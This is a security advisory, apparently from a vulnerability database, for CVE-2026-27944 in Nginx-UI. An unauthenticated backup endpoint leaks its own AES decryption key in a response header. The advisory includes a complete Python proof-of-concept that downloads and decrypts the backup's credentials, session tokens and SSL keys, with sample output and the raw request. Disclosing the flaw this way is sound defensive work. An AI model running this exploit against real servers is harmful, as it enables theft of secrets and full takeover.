GHSA-G9W5-QFFC-6762
Vulnerability from github – Published: 2026-03-05 18:26 – Updated: 2026-03-05 22:37Summary
The /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.
Vulnerability Details
| Field | Value |
|---|---|
| CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data |
| Affected File | api/backup/router.go |
| Affected Function | CreateBackup (lines 8-11 in router, implementation in api/backup/backup.go:13-38) |
| Secondary File | internal/backup/backup.go |
| CVSS 3.1 | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Root Cause
The vulnerability exists due to two critical security flaws:
1. Missing Authentication on /api/backup Endpoint
In api/backup/router.go:9, the backup endpoint is registered without any authentication middleware:
func InitRouter(r *gin.RouterGroup) {
r.GET("/backup", CreateBackup) // No authentication required
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup) // Has middleware
}
For comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.
2. Encryption Keys Disclosed in HTTP Response Headers
In api/backup/backup.go:22-33, the AES-256 encryption key and IV are sent in plaintext via the X-Backup-Security header:
func CreateBackup(c *gin.Context) {
result, err := backup.Backup()
if err != nil {
cosy.ErrHandler(c, err)
return
}
// Concatenate Key and IV
securityToken := result.AESKey + ":" + result.AESIv // Keys sent in header
// ...
c.Header("X-Backup-Security", securityToken) // Keys exposed to anyone
// Send file content
http.ServeContent(c.Writer, c.Request, fileName, modTime, reader)
}
The encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as key:iv.
3. Backup Contents
The backup archive (created in internal/backup/backup.go) contains:
// Files included in backup:
- nginx-ui.zip (encrypted)
└── database.db // User credentials, session tokens
└── app.ini // Configuration with secrets
└── server.key/cert // SSL certificates
- nginx.zip (encrypted)
└── nginx.conf // Nginx configuration
└── sites-enabled/* // Virtual host configs
└── ssl/* // SSL private keys
- hash_info.txt (encrypted)
└── SHA-256 hashes for integrity verification
All files are encrypted with AES-256-CBC, but the keys are disclosed in the response.
Proof of Concept
Python script
#!/usr/bin/env python3
"""
POC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security
Usage:
python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt
"""
import argparse
import base64
import os
import sys
import urllib.parse
import urllib.request
import zipfile
from io import BytesIO
try:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
except ImportError:
print("Error: pycryptodome required for decryption")
print("Install with: pip install pycryptodome")
sys.exit(1)
def _parse_keys(hdr_val: str):
"""
Parse X-Backup-Security header format: "base64_key:base64_iv"
Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==
"""
v = (hdr_val or "").strip()
# Format is: key:iv (both base64 encoded)
if ":" in v:
parts = v.split(":", 1)
if len(parts) == 2:
return parts[0].strip(), parts[1].strip()
return None, None
def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:
"""Decrypt using AES-256-CBC with PKCS#7 padding"""
key = base64.b64decode(key_b64)
iv = base64.b64decode(iv_b64)
if len(key) != 32:
raise ValueError(f"Invalid key length: {len(key)} (expected 32 bytes for AES-256)")
if len(iv) != 16:
raise ValueError(f"Invalid IV length: {len(iv)} (expected 16 bytes)")
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(encrypted_data)
return unpad(decrypted, AES.block_size)
def extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):
"""Extract and decrypt the backup archive"""
print(f"\n[*] Extracting encrypted backup to {output_dir}")
os.makedirs(output_dir, exist_ok=True)
# Extract the main ZIP (contains encrypted files)
with zipfile.ZipFile(encrypted_zip_path, 'r') as main_zip:
print(f"[*] Main archive contains: {main_zip.namelist()}")
main_zip.extractall(output_dir)
# Decrypt each file
encrypted_files = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"]
for filename in encrypted_files:
filepath = os.path.join(output_dir, filename)
if not os.path.exists(filepath):
print(f"[!] Warning: {filename} not found")
continue
print(f"[*] Decrypting {filename}...")
with open(filepath, "rb") as f:
encrypted = f.read()
try:
decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)
# Write decrypted file
decrypted_path = filepath.replace(".zip", "_decrypted.zip") if filename.endswith(".zip") else filepath + ".decrypted"
with open(decrypted_path, "wb") as f:
f.write(decrypted)
print(f" → Saved to {decrypted_path} ({len(decrypted)} bytes)")
# If it's a ZIP, extract it
if filename.endswith(".zip"):
extract_dir = os.path.join(output_dir, filename.replace(".zip", ""))
os.makedirs(extract_dir, exist_ok=True)
with zipfile.ZipFile(BytesIO(decrypted), 'r') as inner_zip:
inner_zip.extractall(extract_dir)
print(f" → Extracted {len(inner_zip.namelist())} files to {extract_dir}")
except Exception as e:
print(f" ✗ Failed to decrypt {filename}: {e}")
# Show hash info
hash_info_path = os.path.join(output_dir, "hash_info.txt.decrypted")
if os.path.exists(hash_info_path):
print(f"\n[*] Hash info:")
with open(hash_info_path, "r") as f:
print(f.read())
def main():
ap = argparse.ArgumentParser(
description="Nginx UI - Unauthenticated backup download with key disclosure"
)
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port")
ap.add_argument("--out", default="backup.bin", help="Where to save the encrypted backup")
ap.add_argument("--decrypt", action="store_true", help="Decrypt the backup after download")
ap.add_argument("--extract-dir", default="backup_extracted", help="Directory to extract decrypted files")
args = ap.parse_args()
url = urllib.parse.urljoin(args.target.rstrip("/") + "/", "api/backup")
# Unauthenticated request to the backup endpoint
req = urllib.request.Request(url, method="GET")
try:
with urllib.request.urlopen(req, timeout=20) as resp:
hdr = resp.headers.get("X-Backup-Security", "")
key, iv = _parse_keys(hdr)
data = resp.read()
except urllib.error.HTTPError as e:
print(f"[!] HTTP Error {e.code}: {e.reason}")
sys.exit(1)
except Exception as e:
print(f"[!] Error: {e}")
sys.exit(1)
with open(args.out, "wb") as f:
f.write(data)
# Key/IV disclosure in response header enables decryption of the downloaded backup
print(f"\nX-Backup-Security: {hdr}")
print(f"Parsed AES-256 key: {key}")
print(f"Parsed AES IV : {iv}")
if key and iv:
# Verify key/IV lengths
try:
key_bytes = base64.b64decode(key)
iv_bytes = base64.b64decode(iv)
print(f"\n[*] Key length: {len(key_bytes)} bytes (AES-256 ✓)")
print(f"[*] IV length : {len(iv_bytes)} bytes (AES block size ✓)")
except Exception as e:
print(f"[!] Error decoding keys: {e}")
sys.exit(1)
if args.decrypt:
try:
extract_backup(args.out, key, iv, args.extract_dir)
except Exception as e:
print(f"\n[!] Decryption failed: {e}")
import traceback
traceback.print_exc()
sys.exit(1)
else:
print("\n[!] Failed to parse encryption keys from X-Backup-Security header")
print(f" Header value: {hdr}")
if __name__ == "__main__":
main()
# Download and decrypt backup (no authentication required)
# pip install pycryptodome
python poc.py --target http://victim:9000 --decrypt
X-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw==
Parsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=
Parsed AES IV : +rLZrXK3kbWFRK3qMpB3jw==
[*] Key length: 32 bytes (AES-256 ✓)
[*] IV length : 16 bytes (AES block size ✓)
[*] Extracting encrypted backup to backup_extracted
[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']
[*] Decrypting hash_info.txt...
→ Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)
[*] Decrypting nginx-ui.zip...
→ Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes)
→ Extracted 2 files to backup_extracted/nginx-ui
[*] Decrypting nginx.zip...
→ Saved to backup_extracted/nginx_decrypted.zip (5682 bytes)
→ Extracted 17 files to backup_extracted/nginx
[*] Hash info:
nginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5
nginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905
timestamp: 20260129-122110
version: 2.3.2
HTTP Request (Raw)
GET /api/backup HTTP/1.1
Host: victim:9000
No authentication required - this request will succeed and return:
- Encrypted backup as ZIP file
- Encryption keys in X-Backup-Security header
Example Response
HTTP/1.1 200 OK
Content-Type: application/zip
Content-Disposition: attachment; filename=backup-20260129-120000.zip
X-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==
[Binary ZIP data]
The X-Backup-Security header contains:
- Key: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4= (Base64-encoded 32-byte AES-256 key)
- IV: 7XdVSRcgYfWf7C/J0IS8Cg== (Base64-encoded 16-byte IV)
Resources
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/0xJacky/Nginx-UI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27944"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-311"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T18:26:41Z",
"nvd_published_at": "2026-03-05T19:16:05Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe `/api/backup` endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the `X-Backup-Security` response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data |\n| Affected File | `api/backup/router.go` |\n| Affected Function | `CreateBackup` (lines 8-11 in router, implementation in `api/backup/backup.go:13-38`) |\n| Secondary File | `internal/backup/backup.go` |\n| CVSS 3.1 | 9.8 (Critical) |\n| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |\n\n## Root Cause\n\nThe vulnerability exists due to two critical security flaws:\n\n### 1. Missing Authentication on /api/backup Endpoint\n\nIn `api/backup/router.go:9`, the backup endpoint is registered without any authentication middleware:\n\n```go\nfunc InitRouter(r *gin.RouterGroup) {\n\tr.GET(\"/backup\", CreateBackup) // No authentication required\n\tr.POST(\"/restore\", middleware.EncryptedForm(), RestoreBackup) // Has middleware\n}\n```\n\nFor comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.\n\n### 2. Encryption Keys Disclosed in HTTP Response Headers\n\nIn `api/backup/backup.go:22-33`, the AES-256 encryption key and IV are sent in plaintext via the `X-Backup-Security` header:\n\n```go\nfunc CreateBackup(c *gin.Context) {\n\tresult, err := backup.Backup()\n\tif err != nil {\n\t\tcosy.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\t// Concatenate Key and IV\n\tsecurityToken := result.AESKey + \":\" + result.AESIv // Keys sent in header\n\n\t// ...\n\tc.Header(\"X-Backup-Security\", securityToken) // Keys exposed to anyone\n\n\t// Send file content\n\thttp.ServeContent(c.Writer, c.Request, fileName, modTime, reader)\n}\n```\n\nThe encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as `key:iv`.\n\n### 3. Backup Contents\n\nThe backup archive (created in `internal/backup/backup.go`) contains:\n\n```go\n// Files included in backup:\n- nginx-ui.zip (encrypted)\n \u2514\u2500\u2500 database.db // User credentials, session tokens\n \u2514\u2500\u2500 app.ini // Configuration with secrets\n \u2514\u2500\u2500 server.key/cert // SSL certificates\n\n- nginx.zip (encrypted)\n \u2514\u2500\u2500 nginx.conf // Nginx configuration\n \u2514\u2500\u2500 sites-enabled/* // Virtual host configs\n \u2514\u2500\u2500 ssl/* // SSL private keys\n\n- hash_info.txt (encrypted)\n \u2514\u2500\u2500 SHA-256 hashes for integrity verification\n```\n\nAll files are encrypted with AES-256-CBC, but the keys are disclosed in the response.\n\n## Proof of Concept\n\n### Python script\n\n```python\n#!/usr/bin/env python3\n\n\"\"\"\nPOC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security\n\nUsage:\n python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport sys\nimport urllib.parse\nimport urllib.request\nimport zipfile\nfrom io import BytesIO\n\ntry:\n from Crypto.Cipher import AES\n from Crypto.Util.Padding import unpad\nexcept ImportError:\n print(\"Error: pycryptodome required for decryption\")\n print(\"Install with: pip install pycryptodome\")\n sys.exit(1)\n\n\ndef _parse_keys(hdr_val: str):\n \"\"\"\n Parse X-Backup-Security header format: \"base64_key:base64_iv\"\n Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n \"\"\"\n v = (hdr_val or \"\").strip()\n\n # Format is: key:iv (both base64 encoded)\n if \":\" in v:\n parts = v.split(\":\", 1)\n if len(parts) == 2:\n return parts[0].strip(), parts[1].strip()\n\n return None, None\n\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -\u003e bytes:\n \"\"\"Decrypt using AES-256-CBC with PKCS#7 padding\"\"\"\n key = base64.b64decode(key_b64)\n iv = base64.b64decode(iv_b64)\n\n if len(key) != 32:\n raise ValueError(f\"Invalid key length: {len(key)} (expected 32 bytes for AES-256)\")\n if len(iv) != 16:\n raise ValueError(f\"Invalid IV length: {len(iv)} (expected 16 bytes)\")\n\n cipher = AES.new(key, AES.MODE_CBC, iv)\n decrypted = cipher.decrypt(encrypted_data)\n return unpad(decrypted, AES.block_size)\n\n\ndef extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):\n \"\"\"Extract and decrypt the backup archive\"\"\"\n print(f\"\\n[*] Extracting encrypted backup to {output_dir}\")\n\n os.makedirs(output_dir, exist_ok=True)\n\n # Extract the main ZIP (contains encrypted files)\n with zipfile.ZipFile(encrypted_zip_path, \u0027r\u0027) as main_zip:\n print(f\"[*] Main archive contains: {main_zip.namelist()}\")\n main_zip.extractall(output_dir)\n\n # Decrypt each file\n encrypted_files = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n\n for filename in encrypted_files:\n filepath = os.path.join(output_dir, filename)\n if not os.path.exists(filepath):\n print(f\"[!] Warning: {filename} not found\")\n continue\n\n print(f\"[*] Decrypting {filename}...\")\n\n with open(filepath, \"rb\") as f:\n encrypted = f.read()\n\n try:\n decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n\n # Write decrypted file\n decrypted_path = filepath.replace(\".zip\", \"_decrypted.zip\") if filename.endswith(\".zip\") else filepath + \".decrypted\"\n with open(decrypted_path, \"wb\") as f:\n f.write(decrypted)\n\n print(f\" \u2192 Saved to {decrypted_path} ({len(decrypted)} bytes)\")\n\n # If it\u0027s a ZIP, extract it\n if filename.endswith(\".zip\"):\n extract_dir = os.path.join(output_dir, filename.replace(\".zip\", \"\"))\n os.makedirs(extract_dir, exist_ok=True)\n with zipfile.ZipFile(BytesIO(decrypted), \u0027r\u0027) as inner_zip:\n inner_zip.extractall(extract_dir)\n print(f\" \u2192 Extracted {len(inner_zip.namelist())} files to {extract_dir}\")\n\n except Exception as e:\n print(f\" \u2717 Failed to decrypt {filename}: {e}\")\n\n # Show hash info\n hash_info_path = os.path.join(output_dir, \"hash_info.txt.decrypted\")\n if os.path.exists(hash_info_path):\n print(f\"\\n[*] Hash info:\")\n with open(hash_info_path, \"r\") as f:\n print(f.read())\n\ndef main():\n ap = argparse.ArgumentParser(\n description=\"Nginx UI - Unauthenticated backup download with key disclosure\"\n )\n ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:port\")\n ap.add_argument(\"--out\", default=\"backup.bin\", help=\"Where to save the encrypted backup\")\n ap.add_argument(\"--decrypt\", action=\"store_true\", help=\"Decrypt the backup after download\")\n ap.add_argument(\"--extract-dir\", default=\"backup_extracted\", help=\"Directory to extract decrypted files\")\n\n args = ap.parse_args()\n\n url = urllib.parse.urljoin(args.target.rstrip(\"/\") + \"/\", \"api/backup\")\n\n # Unauthenticated request to the backup endpoint\n req = urllib.request.Request(url, method=\"GET\")\n\n try:\n with urllib.request.urlopen(req, timeout=20) as resp:\n hdr = resp.headers.get(\"X-Backup-Security\", \"\")\n key, iv = _parse_keys(hdr)\n data = resp.read()\n except urllib.error.HTTPError as e:\n print(f\"[!] HTTP Error {e.code}: {e.reason}\")\n sys.exit(1)\n except Exception as e:\n print(f\"[!] Error: {e}\")\n sys.exit(1)\n\n with open(args.out, \"wb\") as f:\n f.write(data)\n\n # Key/IV disclosure in response header enables decryption of the downloaded backup\n print(f\"\\nX-Backup-Security: {hdr}\")\n print(f\"Parsed AES-256 key: {key}\")\n print(f\"Parsed AES IV : {iv}\")\n\n if key and iv:\n # Verify key/IV lengths\n try:\n key_bytes = base64.b64decode(key)\n iv_bytes = base64.b64decode(iv)\n print(f\"\\n[*] Key length: {len(key_bytes)} bytes (AES-256 \u2713)\")\n print(f\"[*] IV length : {len(iv_bytes)} bytes (AES block size \u2713)\")\n except Exception as e:\n print(f\"[!] Error decoding keys: {e}\")\n sys.exit(1)\n\n if args.decrypt:\n try:\n extract_backup(args.out, key, iv, args.extract_dir)\n\n except Exception as e:\n print(f\"\\n[!] Decryption failed: {e}\")\n import traceback\n traceback.print_exc()\n sys.exit(1)\n else:\n print(\"\\n[!] Failed to parse encryption keys from X-Backup-Security header\")\n print(f\" Header value: {hdr}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\n```bash\n# Download and decrypt backup (no authentication required)\n# pip install pycryptodome\npython poc.py --target http://victim:9000 --decrypt\n```\n\n```\nX-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw==\nParsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=\nParsed AES IV : +rLZrXK3kbWFRK3qMpB3jw==\n\n[*] Key length: 32 bytes (AES-256 \u00e2\u0153\u201c)\n[*] IV length : 16 bytes (AES block size \u00e2\u0153\u201c)\n\n[*] Extracting encrypted backup to backup_extracted\n[*] Main archive contains: [\u0027hash_info.txt\u0027, \u0027nginx-ui.zip\u0027, \u0027nginx.zip\u0027]\n[*] Decrypting hash_info.txt...\n \u00e2\u2020\u2019 Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)\n[*] Decrypting nginx-ui.zip...\n \u00e2\u2020\u2019 Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes)\n \u00e2\u2020\u2019 Extracted 2 files to backup_extracted/nginx-ui\n[*] Decrypting nginx.zip...\n \u00e2\u2020\u2019 Saved to backup_extracted/nginx_decrypted.zip (5682 bytes)\n \u00e2\u2020\u2019 Extracted 17 files to backup_extracted/nginx\n\n[*] Hash info:\nnginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5\nnginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905\ntimestamp: 20260129-122110\nversion: 2.3.2\n```\n\n### HTTP Request (Raw)\n\n```http\nGET /api/backup HTTP/1.1\nHost: victim:9000\n\n```\n\n**No authentication required** - this request will succeed and return:\n- Encrypted backup as ZIP file\n- Encryption keys in `X-Backup-Security` header\n\n### Example Response\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/zip\nContent-Disposition: attachment; filename=backup-20260129-120000.zip\nX-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n\n[Binary ZIP data]\n```\n\nThe `X-Backup-Security` header contains:\n- **Key**: `e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=` (Base64-encoded 32-byte AES-256 key)\n- **IV**: `7XdVSRcgYfWf7C/J0IS8Cg==` (Base64-encoded 16-byte IV)\n\n\u003cimg width=\"1430\" height=\"835\" alt=\"screenshot\" src=\"https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17\" /\u003e\n\n## Resources\n\n- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-311: Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [OWASP: Broken Authentication](https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication)\n- [OWASP: Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure)\n- [NIST: Key Management Guidelines](https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final)",
"id": "GHSA-g9w5-qffc-6762",
"modified": "2026-03-05T22:37:19Z",
"published": "2026-03-05T18:26:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27944"
},
{
"type": "WEB",
"url": "https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final"
},
{
"type": "PACKAGE",
"url": "https://github.com/0xJacky/nginx-ui"
},
{
"type": "WEB",
"url": "https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication"
},
{
"type": "WEB",
"url": "https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.